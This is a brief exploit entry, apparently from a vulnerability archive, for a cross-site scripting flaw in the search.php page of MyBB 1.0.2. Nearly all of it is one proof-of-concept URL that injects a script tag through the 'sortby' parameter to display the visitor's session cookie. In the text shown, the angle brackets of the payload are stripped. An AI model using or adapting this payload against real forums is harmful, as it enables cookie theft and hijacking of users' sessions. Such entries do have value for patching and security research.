MyBB 1.0.2 XSS attack in search.php redirection

http://127.0.0.1/mybb/search.php?action=dosearch&keywords=&postthread=1&author=imei&matchusername=1&forums=all&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby="script language=javascriptalertdocument.cookie/script&sorder=1&showresults=threads&submit=Search...